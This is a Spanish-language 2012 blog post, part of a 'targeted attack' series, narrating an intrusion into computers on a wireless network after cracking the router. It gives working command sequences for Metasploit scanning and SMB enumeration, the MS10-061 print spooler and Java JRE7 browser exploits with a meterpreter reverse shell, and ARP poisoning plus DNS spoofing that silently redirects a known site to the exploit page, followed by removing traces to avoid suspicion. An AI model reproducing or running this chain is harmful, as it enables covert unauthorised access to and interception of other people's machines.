domingo, 30 de septiembre de 2012

[Hack: Ataque dirigido parte.4] Entrar a un ordenador en la red

En la entrada anterior se vio como obtener la contraseña del router para entrar a la red:
Lo ideal seria crear un tunel al router para acceder desde otra ubicación, pero ello implica que el router debe soportar VPN (virtual private net), al igual que el otro "extremo". Segundo, es una técnica "ruidosa" ya que la configuración es vista por el administrador de red. Y en tercer lugar hay que poder acceder al router. Esto ultimo no es complicado debido a que la gran mayoría no cambia la contraseña de acceso que viene por defecto, y en ese caso es cuestión de buscar información sobre el dispositivo. Existe el programa Simple Port Forwarding con una base de datos con gran cantidad de dispositivos y sus contraseñas. En caso de querer abrir algún puerto habiendo perdido la contraseña, lo pueden descargar de la pagina del autor  http://www.simpleportforwarding.com/.
También podría hacerse por fuerza bruta, pero esto se escapa a lo que se intenta explicar en el articulo.

CONFIGURACIÓN BÁSICA DE RED:
Es necesario utilizar la tarjeta wireless usb para conectarse, debido a que si nos conectamos desde la otra tarjeta como "adaptador puente" de la maquina virtual. No tendremos una ip valida para visualizar los demás equipos en la red. Como en linux no existe el visor de redes como en windows, hay que hacerlo por consola. Pero verán que es bastante sencillo.
*Nota: Si todavía tienen el modo monitor encendido deben pararlo con airmon-ng stop "interfaz_monitor"
Si visualizamos las tarjetas con iwconfig, podemos ver unos campos como essid y key que hay que completar.

Entonces para completarlos se utiliza iwconfig "interfaz_de_red" essid "nombre_del_ap" key "contraseña" mode Managed .

Ahora podemos visualizar las conexiones de red con ifconfig.
-eth0 la interfaz de la tarjeta puente, 'lo' la interfaz local y wlan0 la interfaz usb.
Para poder utilizar correctamente la red, hay primero que dar de baja la interfaz del adaptador puente, en este caso eth0. Para eso, solo usamos ifconfig 'interfaz' down .
*Nota: Es probable que la primera vez que lo hagan siga activa, así que deberán visualizar para ver si se encuentra y volver a desactivarla. Hasta que no aparezca con ifconfig.

Si no se dieron cuenta, la interfaz no tenia una dirección ip asociada. Eso es porque el servicio DHCP que nos brinda una dirección ip, no se ha iniciado. Por lo que solo es cuestión de pasarle la interfaz tecleando dhclient "interfaz"

ESCANEO Y EXPLOTACION CON METASPLOIT:
Ya estamos en la red, esta parte puede ser complicada, otras veces dependiendo de la organización puede resultar demasiado simple. Por lo que hay que escanear un gran numero de equipos, para tener mejores resultados.
El escaneo puede hacerse simplemente desde la consola en que se venia trabajando, pero después será necesario cargar un exploit. Por eso hay que posicionarse en la carpeta /opt/metasploit e iniciar una consola de metasploit con msfconsole

Es necesario conocer todos los equipos que se encuentran en la red, como se vio alguna vez en la entrada  http://gonzac-studios.blogspot.com.ar/2009/04/hack-accediendo-otro-ordenador-por-wifi.html
*Por cierto, ahora que la veo es una pésima redacción. Volviendo al tema; hay que hacer uso de una herramienta casi legendaria: el Nmap fué desarrollado por el hacker Fydoor allá por 1997 (si mal no recuerdo) y se ha convertido en una herramienta muy utilizada por administradores de red. Se basa en su mayoría en el envió de distintos tipos de paquetes, cabeceras y sus respuesta (connect, syn, urg, push, fin, ping, ack, etc).
Cualquiera puede programar un scaner de red, por ejemplo con el envió de ping a un rango de IPs. Inclusive yo programé uno en Java, pero el poco de manejo del hardware lo hace muy lento.
Para escanear solo hace falta teclear db_nmap -sP "ip_de_inicio"-255

Hay que admitir que después de todo, los sistemas operativos y las aplicaciones están viniendo cada vez mas seguros; encontrar un bug no es algo tan frecuente. Así que en lo posible hay que buscar una versión vieja. Se puede detectar el sistema operativo de un equipo según las ip entregadas anteriormente o de un rango de ip con db_nmap -O "ip_de_inicio"-255   y aprovechar la base de datos de metasploit para guardar el escaneo con -oA "nombre"

Una vez finalizado el escaneo solo queda importar la base de datos: db_import "nombre"

Y visualizamos los resultados con los comando HOSTS, o SERVICES en caso de querer ver las aplicaciones que corren en un determinado puerto etc.

En la imagen anterior marqué un equipo con xp, obviamente empecé por el ya que debería tener al menos algun bug (Lo que no entendí bien es el "xp 5.1"). Suponiendo que es service pack 3, va a ser mas complicado debido a que seguramente tiene corregida la vulnerabilidad de desbordamiento de pila del servicio net api de windows (permite sobre escribir un sector de memoria y obtener una shell remota). De todas formas comprobé que no era vulnerable de esta manera, por lo que no dejo la imagen.
Pensando que tal vez en el sector debería haber al menos una impresora, se me ocurrió escanear los recursos compartidos. Lo que no mucha gente sabe es que windows siempre facilitó comandos y herramientas para la administración de la red que permiten ser utilizados para la enumeración. Al estar en un entorno linux contamos con las mismas herramientas auxiliares en smb.
Para cargar el escaner se teclea: use auxiliary/scanner/smb/smb_enumshares ,se setea el host remoto por la ip de la maquina a escanear: set RHOSTS "ip" , y se corre la aplicación con Run .
*Nota: Para para salir usar back.

Al parecer estoy de suerte, hay impresoras compartidas y algunos otros recursos. Se podría acceder como se vio en la antigua entrada http://gonzac-studios.blogspot.com.ar/2009/04/hack-accediendo-otro-ordenador-por-wifi.html pero crear y colocar un troyano, hacerlo indetectable y esperar que alguien acceda para poder ejecutarse es demasiado trabajo.
-------------------------------------------------------------
 ¿Porque una impresora? windows utiliza el servicio print spooler para manejar la impresora, como bien se sabe, cuando se mandan a imprimir un archivo estos se colocan en una "cola de impresión", se genera unos archivos temporales y al estar compartido se puede ejecutar el servicio de forma remota. ¿Como funciona la vulnerabilidad? Si se hace una llamada al procedimiento StartDocPrinter, la maquina remota puede hacerse pasar por el servicio de "cola de impresión"  y crear un archivo. Se puede especificar cualquier nombre y cambiar la ruta a través de "directorio transversal" o ruta especifica.El servicio WritePrinter escribe el código en el archivo y WMI ejecuta el contenido siempre que escanea la ruta  Wbem\mof.
-------------------------------------------------------------
Teniendo el exploit, se hace el mismo procedimiento que con el escaner: use windows/smb/ms10_061_spoolss para cargar, un payload que vendría a ser la acción o código que se desea cargar (obtener una shell remota, una ventana u otra accion). Hay mucho, desde una simple consola enviada por TCP, hasta otras mas elaboradas como un meterpreter. Este meta interprete añade funcionalidades a una simple consola haciéndola mucho mas flexible el manejo del pc remoto. En este caso  set PAYLOAD windows/meterpreter/reverse_tcp  .Solo se necesita el host local  set LHOST "nuestra_ip" y el host remoto  set RHOST "ip_del_otro_equipo". Una vez configurado se lanza el exploit con "exploit"
*Nota:Si no nos acordamos, podemos obtener nuestra ip mediante  ip -s route
-Vaya! estuvo cerca. El exploit falló, parece ser que no es vulnerable.

FALSO DNS, INTERSEPTACIÓN DE TRAFICO, REDIRECCIÓN Y PENETRACIÓN:
Hace poco se encontraron varias vulnerabilidades en módulos de exploradores de internet que permiten ejecutar condigo. En estos casos, se busca que el equipo atacado ingrese a una dirección que contenga el código malicioso. ¿Pero si el usuario no ingresa al sitio? ahí esta el tema, todos lo describen como funcionales por ingeniería social. Yo no tenia tiempo, y engañar un usuario en un sistema al que hay que pasar desapercibido es inútil. Por lo que se me ocurrió combinar distintas técnicas y hacer que el exploit se ejecute automáticamente al entrar una pagina de internet conocida por el usuario.
Para ser sincero desconozco si a alguien mas ya se le ha ocurrido, o existe alguna otra forma mas eficiente.
En primer lugar hay que tener un exploit en lo posible multi explorador, yo aproveche un error en java jre 7. No se trata de un desbordamiento de pila, sino en la utilización de sus propias "clases". En resumen la clase com.sun.beans.finder.ClassFinder, tiene un metodo findClass() que permite hacer una referencia a una clase con propiedad restringida (acceso al paquete). De esta forma utilizar la clase sun.awt.SunToolkit y su metodo getField() para hacer uso de findMethod(), acceder a los campos privilegiados, modificar AccessControlContext y desactivar el administrador de seguridad. Así ejecutar el código.
Igual que antes, cargamos el exploit con  use exploit/multi/browser/java_jre17_exec ,luego hay que setiar el payload, set PAYLOAD windows/meterpreter/reverse_tcp , el host local  set LHOST "nuestra_ip" .Y una vez configurado se lanza el exploit con "exploit" que quedará a la espera de una sesion.

Si se fijan, en la imagen el exploit genera una url a la cual se debe ingresar para poder ejecutarse, que es la ip local, el puerto y una serie de caracteres. Es improbable que alguien escriba la url para acceder. Pero ¿les digo algo?, no hace falta. Básica es que el trafico en vez de ser enviado directamente, antes  pase por mi. ¿Les suena familiar?, como con la interseptación de trafico visto en "Cuidado! alguien puede estar viendo tus SMS Online" o " Las paginas juegan con nuestros datos " se puede engañar al router, utilizando la técnica Man in the middle a través del envenenamiento ARP.
Ya tengo una cosola con el exploit, ahora en otra consola hago el spoofing arp para redirigir los paquetes  arpspoof -i "interfaz" -t "ip_del_equipo" "ip_del_AP"

Luego había que habilitar el enrutado y el tipo, mediante fragrouter -B1 (No confundir con fragroute sin 'r' al final) 

Ya redirigido el trafico, en vez de capturar los paquetes. Necesito actuar de falso servidor dns. El protocolo dns lo que hace es resolver los nombres de las paginas, su url y entregar una ip valida. Por lo que actuando como servidor, mediante el nombre de una pagina le entrego una ip distinta sin que se de cuenta. Pero antes hay que crear un archivo tipo host. Los archivos host, básicamente se encargan de resolver direcciones de red locales, por ejemplo localhost es 127.0.0.1. Esto son utilizados muchas veces para restringir el acceso a una determinada pagina, o inclusive existen virus que modifican el archivo host para redireccionar a una pagina fraudulenta.
No requiere de mucho conocimiento,  con el editor  nano "nombre_del_archivo" se crea y se coloca la ip, un espacio y la url. Yo por ejemplo  "ip_local   www.google.com". De esta forma, decimos que la ip de google es en realidad mi ip. Y para que el ataque funcione hay que iniciar dnsspoof -f "nombre_del_archivo"

Ahora bien, estarán pensando "En vez de entrar a google entra a mi ip, pero no a la url del exploit!". Exacto ahí fue cuando se me ocurrió, montar un servidor y que un script haga todo el trabajo. Tan sencillo como crear un html con el metodo onLoad() que llame a un javascript con la función location.href  en la ruta /var/www de apache.

Ya esta listo, ahora guardar la pagina, iniciar el servidor apache con apache2ctl start y a esperar!
En la ventana en donde fue lanzado el exploit, aparecerá que se a iniciado una sesión. Con session -i "numero_de_session" estoy dentro! solo queda borrar el archivo host para que no haya sospechas, y puedan navegar tranquilamente.
Ahora muevo 10 centavos de cada cuenta bancaria y con 1millon de usuarios obtengo $100.000. Es broma.

-------------
IMPORTANTE: Esto no es un tutorial, Gonzac Studios no se hace responsable por el mal uso de este material.

1 comentario:

  1. excelente ahora podre mirar las fotos desnudas de la vecina

    ResponderEliminar